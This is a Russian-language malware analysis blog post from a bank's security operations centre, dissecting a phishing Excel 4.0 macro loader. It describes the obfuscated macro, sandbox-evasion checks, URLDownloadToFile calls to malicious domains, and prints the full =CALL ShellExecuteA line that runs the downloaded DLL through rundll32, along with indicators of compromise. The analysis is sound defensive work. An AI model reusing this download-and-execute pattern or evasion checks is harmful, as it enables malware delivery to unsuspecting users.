- PVSM.RU - https://www.pvsm.ru -
Привет!
В нашем Tinkoff Security Operation Center мы регулярно занимаемся разбором техник, применяемых во вредоносном ПО и атаках, и недавно нам попался один интересный файл, о котором хотелось бы рассказать.
Техника, которую применили для создания этого шедевра, известна уже более 20 лет, но даже спустя десятилетия она остается актуальной, поскольку вызовы некоторых проверок в макросе не являются подозрительными и могут использоваться в легитимных документах. Речь идет о загрузчике зловреда, который написан на Excel 4.0 macros.
В рамках анализа мы будем использовать сторонние инструменты по минимуму и обойдемся стандартным набором программ:
Документ, который мы будем разбирать, — книга Excel в формате xls. Вредонос доставляется в фишинговых письмах, при запуске документа макрос выгружает ветку реестра, скачивает с сайта Microsoft информацию о обновлениях Office, а также загружает и запускает вредоносную .dll. После этих действий книга закрывается без сохранения изменений.
Главное отличие от остальных загрузчиков этого типа — он не использует макросы VBA.
Ниже приведен пример письма, в котором содержится вредоносный документ.
Откроем вложение в нашей виртуальной машине.
Сразу стоит обратить внимание: картинка предупреждает, что документ «защищен», и стоит ее открыть локально и нажать на «включить содержимое»:
Предупреждение системы безопасности намекает на то, что нужно посмотреть проекты в редакторе Visual Basic.
Переходим в разработчик — управление макросами (vbs), но не видим никаких макросов vbs или vba:
Тут самое время вспомнить, что представляют собой офисные документы.
Каждый документ Microsoft Office — это архив, который можно распаковать с помощью любого архиватора, извлекая содержимое документа:
После распаковки видим, что внутри документов нет xml-файлов, которые мы привыкли видеть, дело в более старом формате документа — xls.
В расширении xls содержимое хранится не в формате Office Open XML, а в двоичном формате BIFF8. В документе используется Excel 4.0 macro, где макросы могут исполняться в ячейках документа.
Стоит отметить, что лист с макросом не скрыт, но на листе большое количество пустых ячеек, что затрудняет анализ.
Для анализа файлов в формате BIFF8 есть инструменты, например BiffViewer, а для анализа содержимого есть отличный инструмент — oletools. Но мы попробуем обойтись без использования сторонних утилит.
У Excel также есть формат, основанный на xml [1], — xlsm [2], в нем можно сохранять код макросов VBA и листы макросов Excel 4.0, что мы и сделаем.
Полный список форматов, доступных для Excel, — excel — форматы [3].
Сохраняем наш документ, разархивируем:
Посмотрим, что содержится в файлах, начнем с директории macrosheets в папке xl и обнаружим файл со всеми данными на листе макроса:
Таким образом, мы получаем все значения в ячейках на листе макроса. Сам макрос обфусицирован, ячейки содержат только числовые значения и формулы, конвертирующие эти значения и записывающие результат в новые ячейки.
Например, в данной формуле преобразуются числовые значения в символы, конкатенируются и записываются в ячейку FK17653.
В результате выполнения формулы получим следующую строку:
Каждая последующая команда макроса «собирается» аналогичной формулой, записывается в ячейку и после выполняется.
Чтобы макрос запускался автоматически при открытии документа, ячейка, с которой должен запускаться скрипт, должна называться Auto_Open. Рассмотрим файл workbook.xml:
Внутри файла находим строку name="_xlnm.Auto_OpenT8nee" hidden=«1»>Sheet2!$IE$65406
Это значит, что ячейка, с которой запускается макрос, — IE65406, является скрытой. Теперь мы знаем точку входа в макрос.
Никогда не запускайте подозрительные файлы на своей машине. Для изучения действий подозрительного ПО необходимо использовать специально подготовленную среду: различные песочницы или специально подготовленную изолированную машину — виртуальную либо железную.
Откроем документ и запустим содержимое. Мелькнет окно командной строки, и книга закроется.
Посмотрим логи Sysmon.
У Sysmon есть событие создания процесса (id 1), более подробно про Sysmon можно прочитать здесь [9].
По логам видим, что макрос создает файлы в директории c:userspublic
Ниже представлено сообщение sysmon, в котором видно, что происходит выгрузка ветки реестра и запись результата в файл:
По завершении работы макрос удаляет созданные файлы.
Чтобы запретить удаление файлов, изменим разрешения на папку, оставим права на чтение и запись и запретим удаление:
Запустим документ еще раз, получим ошибку во время выполнения макроса, что даст нам возможность произвести его отладку.
Это возможно, так как отсутствует обработка исключений в некоторых вызовах.
Запустим пошаговое выполнение макроса, во время дебага нам встречаются вызовы функций из dll-библиотек, такие как ShellExecute [10] и URLDownloadToFile [11]. По завершении макроса в папке общих пользователей будут следующие файлы:
Так как нам известна ячейка, с которой начинается исполнение, мы можем заполнить все ячейки в листе макроса. Пробежимся по макросу до функции close(false), где мы прервем выполнение, нажав кнопку «Пауза».
Просматривая ячейки, которые заполняет макрос, встречаем несколько функций get.window() и get.workspace()
Полный список вызовов, доступных Excel 4.0, можно найти в ссылках.
Тут нужно остановиться подробнее: мы с коллегой предположили, что большинство этих вызовов связаны с попытками обхода песочниц:
1 — restored
2 — minimized
3 — maximized
Таким образом осуществляется проверка, открыто ли текущее окно:
get.workspace(31) — проверка, отлаживается ли макрос по шагам.
get.workspace(13) — проверка ширины рабочей области в пикселях: если меньше 770, то книга закроется
get.workspace(14) — проверка высоты рабочей области в пикселях: если меньше 390, то книга закроется
get.workspace(19) — проверка присутствия мыши.
get.workspace(1) — возвращает, в какой операционной системе запущен документ.
В случае false в каждой проверке происходит переход на ячейку закрытия книги без сохранения результата.
После проверок окружения переходим к основному функционалу. Посмотрим, как из макроса вызываются WinAPI функции:
1. Вызов reg.exe, который мы видели в логах Sysmon.
Для вызова утилиты используется функция ShellExecute из библиотеки shell32.dll, параметры для функции разбросаны по другим ячейкам.
Ячейка BN16631:
Ячейка A46097:
В ячейке GN47559 передается команда экспорта необходимой ветки реестра, Get.workspace(2) возвращает версию Excel.
В ячейке DX48821 содержится путь, куда запишется результат.
Далее в макросе присутствует проверка на наличие созданного файла IcltdXw.reg и его удаление.
2. Вызов функции URLDownloadToFile. Данная функция сохраняет в файл результат get-запроса.
Вызов выглядит следующим образом:
Этот вызов ведет нас на сайт Microsoft, на страницу с информацией об обновлениях Office.
Параметры функции:
Ячейка BR6547
Ячейка IN49847
После выполнения инструкции идет проверка, создался ли файл, а также чтение символа по смещению в файле:
Скорее всего, эти действия направлены на проверку, есть ли у окружения, где запущен документ, доступ в интернет.
В формуле в iserror передается функция FILES и аргумент — имя файла, куда должен записаться результат функции URLDownloadToFile:
Ячейка FM27223 передаст управление функции закрытия книги:
При успешном получении файла от Microsoft заполняются ячейки для подготовки к второму вызову dll urlmon.
И вот второй вызов, но уже на домен dehabadi[.]ir, с которого должна произойти загрузка вредоносной нагрузки:
Результат запишется в файл в эту же папку с расширением html:
Дальше натыкаемся на ветвление в коде макроса, если с первой попытки скачать payload не удалось, будет предпринята вторая попытка, но уже с другого адреса.
В случае успешной загрузки выведется всплывающее окно с предупреждением и вызовется загруженная библиотека.
Полный вызов выглядит следующим образом:
=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:windowssystemc32rundll32.exe","c:userspublic4hcFC.html,DllRegisterServer",0,5)
В полном вызове функция ShellExecuteA вызывается из библиотеки Shell32 с параметрами для запуска rundll32, с помощью которой вызывается экспортируемая функция скаченной вредоносной библиотеки.
На этом функция макроса завершена, полезная нагрузка загружена и запущена.
Как было сказано, технология достаточно старая (Excel 4.0 для Windows 3.0 и 3.1 [12]), однако она в полной мере предоставляет функционал, необходимый вредоносному ПО для достижения своих целей. А цель этого файла — незаметно подложить в систему опасное ПО, способное нанести серьезный ущерб, начиная с кражи персональных данных, данных авторизации для систем, заканчивая повреждением/шифрованием данных на компьютере и возможностью удаленно выполнять код.
Для анализа подобных документов совсем не обязательно использовать какие-либо специальные утилиты и ПО, однако стоит упомянуть набор скриптов oletools — подробнее можно посмотреть здесь [13]. На этом мы закончим, ниже приведены индикаторы компрометации, выявленные в результате анализа.
Полученные IOC:
evans[.]williamdmon[@]wp[.]pl
eleventalents[.]com
dehabadi[.]ir
hxxps://eleventalents.com/wp-keys.php
hxxps://dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419
Полный список индикаторов компрометации. [14]
Ссылки:
Над анализом работали:
Фролов Илья [16]
Коленчук Алексей [17]
Автор: Кубышко Игорь
Источник [18]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/353479
Ссылки в тексте:
[1] xml : https://ru.wikipedia.org/wiki/XML
[2] xlsm : https://en.wikipedia.org/wiki/Microsoft_Excel#Current_file_extensions
[3] excel — форматы: https://support.office.com/ru-ru/article/%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%8B%D0%B5-excel-%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D1%8B-%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2-0943ff2c-6014-4e8d-aaea-b83d51d46247%20excel-%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D1%8B
[4] schemas.openxmlformats.org/spreadsheetml/2006/main: http://schemas.openxmlformats.org/spreadsheetml/2006/main
[5] schemas.openxmlformats.org/officeDocument/2006/relationships: http://schemas.openxmlformats.org/officeDocument/2006/relationships
[6] schemas.openxmlformats.org/markup-compatibility/2006: http://schemas.openxmlformats.org/markup-compatibility/2006
[7] schemas.microsoft.com/office/spreadsheetml/2010/11/main: http://schemas.microsoft.com/office/spreadsheetml/2010/11/main
[8] schemas.microsoft.com/office/spreadsheetml/2010/11/ac: http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac
[9] здесь: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
[10] ShellExecute: https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea
[11] URLDownloadToFile: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v%3Dvs.85)
[12] Excel 4.0 для Windows 3.0 и 3.1: https://en.wikipedia.org/wiki/Microsoft_Excel#Excel_4.0_(1992)
[13] oletools — подробнее можно посмотреть здесь: https://github.com/decalage2/oletools
[14] Полный список индикаторов компрометации.: https://pastebin.com/KeC2SswU
[15] Референс макросов 4.0 : https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
[16] Фролов Илья: https://habr.com/ru/users/fil499/
[17] Коленчук Алексей: https://habr.com/ru/users/kebugcheckex/
[18] Источник: https://habr.com/ru/post/504430/?utm_source=habrahabr&utm_medium=rss&utm_campaign=504430
Нажмите здесь для печати.